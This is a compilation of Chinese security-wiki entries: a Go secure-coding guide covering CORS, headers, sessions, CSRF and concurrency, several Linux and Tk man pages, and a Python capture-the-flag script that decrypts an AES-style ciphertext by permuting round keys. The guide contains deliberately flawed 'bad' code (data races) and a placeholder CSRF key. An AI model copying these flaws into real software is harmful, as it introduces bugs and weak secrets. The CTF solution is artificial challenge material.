#### 1.5.1【必须】跨域资源共享CORS限制请求来源
- CORS请求保护不当可导致敏感信息泄漏，因此应当严格设置Access-Control-Allow-Origin使用同源策略进行保护。
```go
// good
c := cors.New(cors.Options{
AllowedOrigins: []string{"http://qq.com", "https://qq.com"},
AllowCredentials: true,
Debug: false,
})
// 引入中间件
handler = c.Handler(handler)
```
<a id="2.1.6"></a>
### 1.6 响应输出
#### 1.6.1 【必须】设置正确的HTTP响应包类型
- 响应头Content-Type与实际响应内容，应保持一致。如：API响应数据类型是json，则响应头使用`application/json`；若为xml，则设置为`text/xml`。
#### 1.6.2 【必须】添加安全响应头
- 所有接口、页面，添加响应头 `X-Content-Type-Options: nosniff`。
- 所有接口、页面，添加响应头`X-Frame-Options `。按需合理设置其允许范围，包括：`DENY`、`SAMEORIGIN`、`ALLOW-FROM origin`。用法参考：[MDN文档](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/X-Frame-Options)
#### 1.6.3【必须】外部输入拼接到HTTP响应头中需进行过滤
- 应尽量避免外部可控参数拼接到HTTP响应头中，如业务需要则需要过滤掉`\r`、`\n`等换行符，或者拒绝携带换行符号的外部输入。
#### 1.6.4【必须】外部输入拼接到response页面前进行编码处理
- 直出html页面或使用模板生成html页面的，推荐使用`text/template`自动编码，或者使用`html.EscapeString`或`text/template`对`<, >, &, ',"`等字符进行编码。
```go
import (
"html/template"
)
func outtemplate(w http.ResponseWriter, r *http.Request) {
param1 := r.URL.Query().Get("param1")
tmpl := template.New("hello")
tmpl, _ = tmpl.Parse(`{{define "T"}}{{.}}{{end}}`)
tmpl.ExecuteTemplate(w, "T", param1)
}
```
<a id="2.1.7"></a>
### 1.7 会话管理
#### 1.7.1【必须】安全维护session信息
- 用户登录时应重新生成session，退出登录后应清理session。
```go
import (
"github.com/gorilla/handlers"
"github.com/gorilla/mux"
"net/http"
)
// 创建cookie
func setToken(res http.ResponseWriter, req *http.Request) {
expireToken := time.Now().Add(time.Minute * 30).Unix()
expireCookie := time.Now().Add(time.Minute * 30)
//...
cookie := http.Cookie{
Name: "Auth",
Value: signedToken,
Expires: expireCookie, // 过期失效
HttpOnly: true,
Path: "/",
Domain: "127.0.0.1",
Secure: true,
}
http.SetCookie(res, &cookie)
http.Redirect(res, req, "/profile", 307)
}
// 删除cookie
func logout(res http.ResponseWriter, req *http.Request) {
deleteCookie := http.Cookie{
Name: "Auth",
Value: "none",
Expires: time.Now(),
}
http.SetCookie(res, &deleteCookie)
return
}
```
#### 1.7.2【必须】CSRF防护
- 涉及系统敏感操作或可读取敏感信息的接口应校验`Referer`或添加`csrf_token`。
```go
// good
import (
"github.com/gorilla/csrf"
"github.com/gorilla/mux"
"net/http"
)
func main() {
r := mux.NewRouter()
r.HandleFunc("/signup", ShowSignupForm)
r.HandleFunc("/signup/post", SubmitSignupForm)
// 使用csrf_token验证
http.ListenAndServe(":8000",
csrf.Protect([]byte("32-byte-long-auth-key"))(r))
}
```
<a id="2.1.8"></a>
### 1.8 访问控制
#### 1.8.1【必须】默认鉴权
- 除非资源完全可对外开放，否则系统默认进行身份认证，使用白名单的方式放开不需要认证的接口或页面。
- 根据资源的机密程度和用户角色，以最小权限原则，设置不同级别的权限，如完全公开、登录可读、登录可写、特定用户可读、特定用户可写等
- 涉及用户自身相关的数据的读写必须验证登录态用户身份及其权限，避免越权操作
```sql
-- 伪代码
select id from table where id=:id and userid=session.userid
```
- 没有独立账号体系的外网服务使用`QQ`或`微信`登录，内网服务使用`统一登录服务`登录，其他使用账号密码登录的服务需要增加验证码等二次验证
<a id="2.1.9"></a>
### 1.9 并发保护
#### 1.9.1【必须】禁止在闭包中直接调用循环变量
- 在循环中启动协程，当协程中使用到了循环的索引值，由于多个协程同时使用同一个变量会产生数据竞争，造成执行结果异常。
```go
// bad
func main() {
runtime.GOMAXPROCS(runtime.NumCPU())
var group sync.WaitGroup
for i := 0; i < 5; i++ {
group.Add(1)
go func() {
defer group.Done()
fmt.Printf("%-2d", i) // 这里打印的i不是所期望的
}()
}
group.Wait()
}
// good
func main() {
runtime.GOMAXPROCS(runtime.NumCPU())
var group sync.WaitGroup
for i := 0; i < 5; i++ {
group.Add(1)
go func(j int) {
defer func() {
if r := recover(); r != nil {
fmt.Println("Recovered in start()")
}
group.Done()
}()
fmt.Printf("%-2d", j) // 闭包内部使用局部变量
}(i) // 把循环变量显式地传给协程
}
group.Wait()
}
```
#### 1.9.2【必须】禁止并发写map
- 并发写map容易造成程序崩溃并异常退出，建议加锁保护
```go
// bad
func main() {
m := make(map[int]int)
// 并发读写
go func() {
for {
_ = m[1]
}
}()
go func() {
for {
m[2] = 1
}
}()
select {}
}
```
#### 1.9.3【必须】确保并发安全
敏感操作如果未作并发安全限制，可导致数据读写异常，造成业务逻辑限制被绕过。可通过同步锁或者原子操作进行防护。
通过同步锁共享内存
```go
// good
var count int
func Count(lock *sync.Mutex) {
lock.Lock() // 加写锁
count++
fmt.Println(count)
lock.Unlock() // 解写锁，任何一个Lock()或RLock()均需要保证对应有Unlock()或RUnlock()
}
func main() {
lock := &sync.Mutex{}
for i := 0; i < 10; i++ {
go Count(lock) // 传递指针是为了防止函数内的锁和调用锁不一致
}
for {
lock.Lock()
c := count
lock.Unlock()
runtime.Gosched() // 交出时间片给协程
if c > 10 {
break
}
}
}
```
- 使用`sync/atomic`执行原子操作
```go
// good
import (
"sync"
"sync/atomic"
)
func main() {
type Map map[string]string
var m atomic.Value
m.Store(make(Map))
var mu sync.Mutex // used only by writers
read := func(key string) (val string) {
m1 := m.Load().(Map)
return m1[key]
}
insert := func(key, val string) {
mu.Lock() // 与潜在写入同步
defer mu.Unlock()
m1 := m.Load().(Map) // 导入struct当前数据
m2 := make(Map) // 创建新值
for k, v := range m1 {
m2[k] = v
}
m2[key] = val
m.Store(m2) // 用新的替代当前对象
}
_, _ = read, insert
}
```
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "PG_DUMP" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
pg_dump \- 将一个PostgreSQL数据库抽出到一个脚本文件或者其它归档文件中
.SH SYNOPSIS
.sp
\fBpg_dump\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR\fR [ \fR\fB\fIdbname\fB \fR\fR]\fR
.SH "DESCRIPTION 描述"
.PP
\fBpg_dump\fR 是一个用于备份 PostgreSQL 数据库的工具。它甚至可以在数据库正在并发使用的时候进行完整一致的备份。 pg_dump 并不阻塞其它用户对数据库的访问（读或者写）。
.PP
转储格式可以是一个脚本或者归档文件。 这个脚本文件的格式是纯文本，它包含许多 SQL 命令， 这些 SQL 命令可以用于重建该数据库并将之恢复到保存成脚本的时候的状态。 要恢复这些脚本，使用 \fBpsql\fR(1)。 它们甚至可以用于在其它机器甚至是其它硬件体系的机器上重建该数据库， 通过对脚本进行一些修改，甚至可以在其它 SQL 数据库产品上重建该数据库。
.PP
另外，还有候选的归档文件格式可以和 \fBpg_restore\fR(1) 一起使用重建数据库， 并且它们也允许 \fBpg_restore\fR(1) 对恢复什么东西进行选择， 或者甚至是在恢复之前对需要恢复的条目进行重新排序。 归档文件也是设计成可以跨平台移植的。
.PP
如果一种候选文件格式和 \fBpg_restore\fR(1) 结合，那么pg_dump就能提供一种灵活的归档和传输机制。 pg_dump 可以用于备份整个数据库， 然后就可以使用 pg_restore 检查这个归档和/或选择要恢复的数据库部分。 最灵活等输出文件格式是 ``custom(客户化)'' 格式（\fB-Fc\fR）。 它允许对归档元素进行选取和重新排列， 并且缺省时是压缩的。tar 格式（-Ft）不是压缩的并且我们在装载等时候不可能重排列， 不过它也很灵活；还有，它可以用其它工具，比如 tar 处理。
.PP
在运行 pg_dump 的时候，我们应该检查输出， 看看是否有任何警告存在（在标准错误上打印），特别是下面列出的限制。
.SH "OPTIONS 选项"
.PP
下面的命令行参数用于控制输出格式。
.TP
\fB\fIdbname\fB\fR
声明将要转储的数据库名。 如果没有声明这个参数，那么使用环境变量 PGDATABASE。 如果那个环境变量也没声明，那么用发起连接的用户名。
.TP
\fB-a\fR
.TP
\fB--data-only\fR
只输出数据，不输出结构（表定义）。
这个选项只是对纯文本格式有意义。对于其它格式，你可以在调用 pg_restore 的时候声明选项。
.TP
\fB-b\fR
.TP
\fB--blobs\fR
在转储中包含大对象。
.TP
\fB-c\fR
.TP
\fB--clean\fR
输出在创建数据库创建命令之前先清理（删除）该数据库对象的命令。
这个选项只是对纯文本格式有意义。对于其它格式，你可以在调用 \fBpg_restore\fR 的时候声明选项。
.TP
\fB-C\fR
.TP
\fB--create\fR
以一条创建该数据库本身并且与这个数据库联接等命令开头进行输出。 （如果是这种形式的脚本，那么你在运行脚本之前和哪个数据库联接就不重要了。）
这个选项只对纯文本格式有意义。对于其它格式，你可以在调用 \fBpg_restore\fR 的时候声明该选项。
.TP
\fB-d\fR
.TP
\fB--inserts\fR
将数据输出为的 \fBINSERT\fR 命令（而不是 \fBCOPY\fR）。 这样会导致恢复非常缓慢。但却令归档更容易移植到其它 SQL 数据库。
.TP
\fB-D\fR
.TP
\fB--column-inserts\fR
.TP
\fB--attribute-inserts\fR
把数据转储为带有明确字段名的 \fBINSERT\fR 命令。 （INSERT INTO \fItable\fR(\fIcolumn\fR, ...) VALUES ...）。 这样会导致恢复非常缓慢，但是如果你想重新排列字段的顺序，那么它是必须的。
.TP
\fB-f \fIfile\fB\fR
.TP
\fB--file=\fIfile\fB\fR
把输出发往指定的文件。如果忽略这些，则使用标准输出。
.TP
\fB-F \fIformat\fB\fR
.TP
\fB--format=\fIformat\fB\fR
选择输出的格式。format可以是下列之一：
.RS
.TP
\fBp\fR
输出纯文本SQL脚本文件（缺省）
.TP
\fBt\fR
输出适合输入到 \fBpg_restore\fR 里的tar归档文件。 使用这个归档允许在恢复数据库时重新排序和/或把表结构排除在外。 同时也可能可以在恢复的时候限制对哪些数据进行恢复。
.TP
\fBc\fR
输出适于给 pg_restore 用的客户化归档。 这是最灵活的格式，它允许对装载的数据和纲要元素进行重新排列。 这个格式缺省的时候是压缩的。
.RE
.PP
.TP
\fB-i\fR
.TP
\fB--ignore-version\fR
忽略在 pg_dump 和数据库服务器之间的版本差别。
\fBpg_dump\fR 可以处理来自以前版本的PostgreSQL 的数据库，但是太老的版本则不被支持了（目前是支持到 7.0）。 如果你需要跨越版本检查时才使用这个选项（ 而且如 pg_dump 失效，别说我没警告你）。
.TP
\fB-n \fInamespace\fB\fR
.TP
\fB--schema=\fIschema\fB\fR
只转储 schema 的内容。 如果没有声明这个选项，所有目标数据库中的非系统模式都会被转储出来。
.sp
.RS
.B "Note:"
注意: 在这个模式里，pg_dump 并不试图转储任何其它选定模式可能依赖的数据库对象。 因此，系统不保证单一的一个模式的转储就可以成功地恢复到一个干净的数据库中去。
.RE
.sp
.TP
\fB-o\fR
.TP
\fB--oids\fR
为每个表都输出对象标识（OID）。 如果你的应用在某种程度上引用了OID字段的话，（比如，在外键约束中用到）。 那么使用这个选项。否则，不应该使用这个选项。
.TP
\fB-O\fR
.TP
\fB--no-owner\fR
不把对象的所有权设置为对应源数据库。
By default, \fBpg_dump\fR issues
\fBSET SESSION AUTHORIZATION\fR
statements to set ownership of created schema elements.
These statements
will fail when the script is run unless it is started by a superuser
(or the same user that owns all of the objects in the script).
To make a script that can be restored by any user, but will give
that user ownership of all the objects, specify \fB-O\fR.
这个选项只是对纯文本格式有意义。对于其它格式，在你调用 pg_restore 的时候你可以声明该选项。
.TP
\fB-R\fR
.TP
\fB--no-reconnect\fR
这个选项已经过时，但是出于向下兼容的考虑，仍然接受这个选项。
.TP
\fB-s\fR
.TP
\fB--schema-only\fR
只输出表纲要（定义），不输出数据。
.TP
\fB-S \fIusername\fB\fR
.TP
\fB--superuser=\fIusername\fB\fR
声明关闭触发器时需要用到的超级用户名。 它只有使用了 \fB--disable-triggers\fR 的时候才有关系。 （通常，我们最好不要输入这个参数，而是用超级用户启动生成的脚本。）
.TP
\fB-t \fItable\fB\fR
.TP
\fB--table=\fItable\fB\fR
只输出表 \fItable\fR 的数据。 很可能是在不同模式里面有多个同名表；如果这样，那么所有匹配的表都将被转储出来。 同时声明 \fB--schema\fR 和 \fB--table\fR 则只选择一个表。
.sp
.RS
.B "Note:"
注意: 在这个模式里，pg_dump 并不试图转储任何其它选定表可能依赖的数据库对象。 因此，系统不保证单一的一个表的转储就可以成功地恢复到一个干净的数据库中去。
.RE
.sp
.TP
\fB-v\fR
.TP
\fB--verbose\fR
声明冗余模式。 这样将令 pg_dump 在标准错误上打印进度信息。
.TP
\fB-x\fR
.TP
\fB--no-privileges\fR
.TP
\fB--no-acl\fR
避免输出 ACL（赋予/撤消 命令）和表的所有者关系信息。
.TP
\fB-X use-set-session-authorization\fR
.TP
\fB--use-set-session-authorization\fR
这个选项废弃了，保留它是为了向下兼容。 pg_dump 现在表现得总是想正式选取了这个选项一样。
.TP
\fB-X disable-triggers\fR
.TP
\fB--disable-triggers\fR
这个选项只是和创建仅有数据的转储相关。它告诉 pg_dump 包含在恢复数据时，临时关闭目标表上面的触发器的命令。 如果你在表上有参考完整性检查或者其它触发器，而恢复数据的时候你不想重载他们，那么你就应该使用这个选项。
目前，为 \fB--disable-triggers\fR 发出的命令必须用超级用户来做。 因此，你应该同时用 -S 声明一个超级用户名，或者最好是用一个超级用户的身份来启动这个生成的脚本。
这个选项只对纯文本格式有意义。对于其它格式，你可以在调用 pg_restore 的时候声明这个选项。
.TP
\fB-Z \fI0..9\fB\fR
.TP
\fB--compress=\fI0..9\fB\fR
声明在那些支持压缩的格式中使用的压缩级别。 （目前只有客户化格式支持压缩）。
.PP
.PP
下面的命令行参数控制数据库为联接参数。
.TP
\fB-h \fIhost\fB\fR
.TP
\fB--host=\fIhost\fB\fR
声明运行服务器的机器的主机名。 如果数值以斜扛开头，则它被用做到 Unix 域套接字的路径。 缺省是从 PGHOST 环境变量中取得的，如果设置了这个环境变量的话，否则，尝试一个 Unix 域套接字连接。
.TP
\fB-p \fIport\fB\fR
.TP
\fB--port=\fIport\fB\fR
声明服务器正在侦听并等待联接的 TCP 端口或本地 Unix 主控套接字文件句柄。 缺省时使用环境变量 PGPORT 的值（如果存在），或者是编译时的缺省值。
.TP
\fB-U \fIusername\fB\fR
以给出用户身分联接。
.TP
\fB-W\fR
强制口令提示。如果服务器需要口令认证，那么这个动作应该自动发生。
.PP
.SH "ENVIRONMENT 环境"
.TP
\fBPGDATABASE\fR
.TP
\fBPGHOST\fR
.TP
\fBPGPORT\fR
.TP
\fBPGUSER\fR
缺省连接参数
.SH "DIAGNOSTICS 诊断"
.PP
\fBpg_dump\fR 在内部使用 SELECT 语句。如果你运行 pg_dump 时碰到问题，确认你能够使用象 \fBpsql\fR(1) 这样的程序从数据库选取信息。
.SH "NOTES 注意"
.PP
如果你的数据库给template1数据库增加了任何你自己的东西， 那么请注意把 pg_dump 的输出恢复到一个真正空的数据库中； 否则你可能会收到因为重复定义所追加的对象而造成的错误信息。要制作一个没有任何本地附属物的数据库， 可以从template0而不是template1拷贝，比如：
.sp
.nf
CREATE DATABASE foo WITH TEMPLATE template0;
.sp
.fi
.PP
\fBpg_dump\fR 有几个限制：
.TP 0.2i
\(bu
在转储一个表或者作为纯文本转储时，pg_dump 无法操作大对象。 大对象必须整数据库地使用非文本归档格式之一进行转储。
.TP 0.2i
\(bu
在进行纯数据转储时，并且使用了选项 \fB--disable-triggers\fR 的时候，\fBpg_dump\fR 发出一些查询先关闭在用户表上面的触发器， 然后插入数据，数据插入完成后再发出查询打开触发器。 如果恢复动作在中间停止，那么系统表可能就会处于一种错误状态。
.PP
.PP
tar 归档的成员的大小限制于 8 GB。（这个限制是 tar 文件格式的固有限制。） 因此这个格式无法用于那些一个表的大小超过这个尺寸的原文表现。 tar 归档和任何其它输出格式的总大小是不受限制的，只是可能会又操作系统的限制。
.PP
恢复完之后，我们建议在每个已恢复的对象上运行 ANALYZE。 这样优化器就可以得到有用的统计。
.SH "EXAMPLES 例子"
.PP
转储一个数据库：
.sp
.nf
$ \fBpg_dump mydb > db.out\fR
.sp
.fi
.PP
重载这个数据库：
.sp
.nf
$ \fBpsql -d database -f db.out\fR
.sp
.fi
.PP
输出一个叫 mydb 的包含BLOB 的数据库到一个 tar 文件：
.sp
.nf
$ \fBpg_dump -Ft -b mydb > db.tar\fR
.sp
.fi
.PP
把这个数据库（连同BLOB）一起恢复到一个现有的叫 newdb 的数据库：
.sp
.nf
$ \fBpg_restore -d newdb db.tar\fR
.sp
.fi
.SH "HISTORY 历史"
.PP
\fBpg_dump\fR 工具最早出现在 Postgres95 版本 0.02。 非纯文本输出格式在 PostgreSQL 版本 7.1 时引入。
.SH "SEE ALSO 参见"
\fBpg_dumpall\fR(1), \fBpg_restore\fR(1), \fBpsql\fR(1)
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
joe
===
强大的纯文本编辑器
## 补充说明
**joe命令** 是一款功能强大的纯文本编辑器，拥有众多编写程序和文本的优良特性。
### 语法
```shell
joe(选项)(参数)
```
### 选项
```shell
-force：强制在最后一行的结尾处加上换行符号；
-lines<行数>：设置行数；
-lightoff：选取的区块在执行完区块命令后，就会恢复成原来的状态；
-autoindent：自动缩排；
-backpath：<目录>：指定备份文件的目录；
-beep：编辑时，若有错误即发出哔声；
-columns<栏位>：设置栏数；
-csmode：可执行连续查找模式；
-dopadding：是程序跟tty间存在缓冲区；
-exask：在程序中，执行“Ctrl+k+x”时，会先确认是否要保存文件；
-force：强制在最后一行的结尾处加上换行符号；
-help：执行程序时一并显示帮助；
-keepup：在进入程序后，画面上方为状态列；
-marking：在选取区块时，反白区块会随着光标移动；
-mid：当光标移出画面时，即自动卷页，使光标回到中央；
-nobackups：不建立备份文件；
-nonotice：程序执行时，不显示版本信息；
-nosta：程序执行时，不显示状态列；
-noxon：尝试取消“Ctrl+s”和“Ctrl+q”键的功能；
-orphan：若同时开启一个以上的文件，则其他文件会置于独立的缓冲区，而不会另外开启编辑区；
-pg<行数>：按“PageUp”或“PageDown”换页时，所要保留前一页的行数；
-skiptop<行数>：不使用屏幕上方指定的行数。
```
### 参数
文件：指定要编辑的文件。
|
sec-knowleage
|
tty
===
显示连接到当前标准输入的终端设备文件名
## 概要
```shell
tty [option] ...
```
## 主要用途
- 显示连接到当前标准输入的终端设备文件名，当标准输入不是终端时打印 "not a tty"。
## 选项
```shell
-s, --silent, --quiet 不打印任何信息，只返回退出状态。
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
```
## 返回值
当使用 `-s, --silent, --quiet` 时，返回码为 0 表示标准输入是终端，返回码为 1 表示标准输入不是终端，返回码为 2 表示选项错误，返回码为 3 表示有写错误发生。
## 例子
显示连接到当前标准输入的终端设备文件名。
```shell
[root@localhost ~]# tty
/dev/pts/2
```
查找终端关联的进程（假设是 pts/2）
```shell
# 注意是筛选 TTY 列。
ps -ef | egrep "pts/2 " | grep -v grep
```
### 注意
1. 该命令是`GNU coreutils`包中的命令，相关的帮助信息请查看`man -s 1 tty`，`info coreutils 'tty invocation'`。
|
sec-knowleage
|
'\"
'\" Copyright (c) 1990 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: raise.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: raise.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH raise 3tcl 3.3 Tk "Tk Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
raise \- 改变一个窗口在堆栈次序中的位置
.SH "总览 SYNOPSIS"
\fBraise \fIwindow \fR?\fIaboveThis\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
如果省略了 \fIaboveThis\fR 参数则这个命令升高 \fIwindow\fR，这样它将在堆栈次序上高于它的所有兄弟窗口(它将不被任何兄弟窗口所遮挡(obscure)并将遮挡与它交叠的任何兄弟窗口)。如果指定了 \fIaboveThis\fR 则它必须是一个窗口的路径名字，它要么是 \fIwindow\fR 的一个兄弟窗口要么是 \fIwindow\fR.的兄弟窗口的一个后代。在这种情况下，\fBraise\fR 命令将在堆栈次序上把 \fIwindow\fR 插入到 \fIaboveThis\fR (或 \fIaboveThis\fR 的祖先窗口中是 \fIwindow \fR的兄弟窗口的那个窗口)的紧上面；这最终将要么升高要么降低 \fIwindow\fR。
.SH "参见 SEE ALSO"
lower
.SH "关键字 KEYWORDS"
obscure, raise, stacking order
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/12/26
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
import itertools
from aes import AES
from crypto_commons.generic import xor_string, is_printable
def convert_array_to_strings(arr):
return "".join(map(chr, arr))
possible_rounds = [
[0x45,0x33,0x7E,0x3C,0xF0,0x7F,0x2D,0xAC,0x33,0x44,0x3B,0x75,0x48,0x2A,0xC5,0x46,],
[0x3E,0x43,0x95,0x3C,0x69,0xD0,0x73,0x67,0x22,0x97,0xD1,0xB1,0xA3,0x61,0xFD,0x4A,],
[0x4D,0xF0,0xEC,0x1A,0x3D,4,0xA9,0xDB,0xF5,0xD5,8,0x1A,0x80,0x70,0x93,6,],
[0x60,0x9D,0x47,0x31,0xB5,0xDD,0x36,0x7E,0xEF,0x99,0x7A,0xD8,0x49,0x5C,0x45,0x23,],
[0xFA,0xEC,0xDB,0xBB,0x93,0xB2,0x3A,0xEF,0x68,0xE4,0xBE,0x6D,0x2F,0xF6,0x6B,0x4C,],
[0x2E,0xEB,0xCF,0x46,5,0xAE,0x3D,0x94,0xBA,0x8C,0xCC,0xF4,0x4C,0xA1,0x1D,0x4C,],
[0xBA,0xF0,0xAB,0x1F,0xAC,0x2F,0x58,0x81,0xF1,0x25,0xB1,0x59,0xF9,0x79,0xDE,3,],
[0x34,0xAF,0xFF,0x57,0x51,0x3A,0xF,0xEC,0x8B,0xA0,0xE6,0x5F,0x8C,0x98,0x60,0x78,],
[0x74,0xF9,0xC5,0x42,0x7F,0x7A,0x6E,0xE2,0xB1,0x1F,0x2C,0xC2,0x18,4,0xB8,0xF7,],
]
last = [0xA,0x98,0x63,0x1D,0x84,0x69,0x82,8,7,0xCA,0x31,0xF7,0x1D,0x33,0x56,0x29]
ct = [0x68,0xCE,0xDF,0xDD,0x58,0x6C,0x37,0xE4,0xC4,0xE1,0xAC,0xB4,9,0x7F,0x97,0xA4]
xorkey = [0x6A, 0x15, 0x6D, 0xB, 0x9D, 0xF0, 0xC2, 0x34, 0x74, 0x8A, 0xD4, 0x4F, 0x50, 0x84, 0xA0, 0x7F, ]
possible_rounds = map(convert_array_to_strings, possible_rounds)
ct = convert_array_to_strings(ct)
last = convert_array_to_strings(last)
xorkey = convert_array_to_strings(xorkey)
for i in itertools.permutations(possible_rounds):
A = AES()
rounds = i
try_ct = A.sr_decryptlast(ct, last)
for r in rounds:
try_ct = A.sr_decrypt(try_ct, r)
print(xor_string(try_ct, xorkey))
|
sec-knowleage
|
# 环境搭建
参见 [ctf-tools](https://ctf-wiki.github.io/ctf-tools/binary_core_tools/virtualization/qemu/qemu-introduction/)
|
sec-knowleage
|
'\" t
.TH "LOGIND\&.CONF" "5" "" "systemd 231" "logind.conf"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
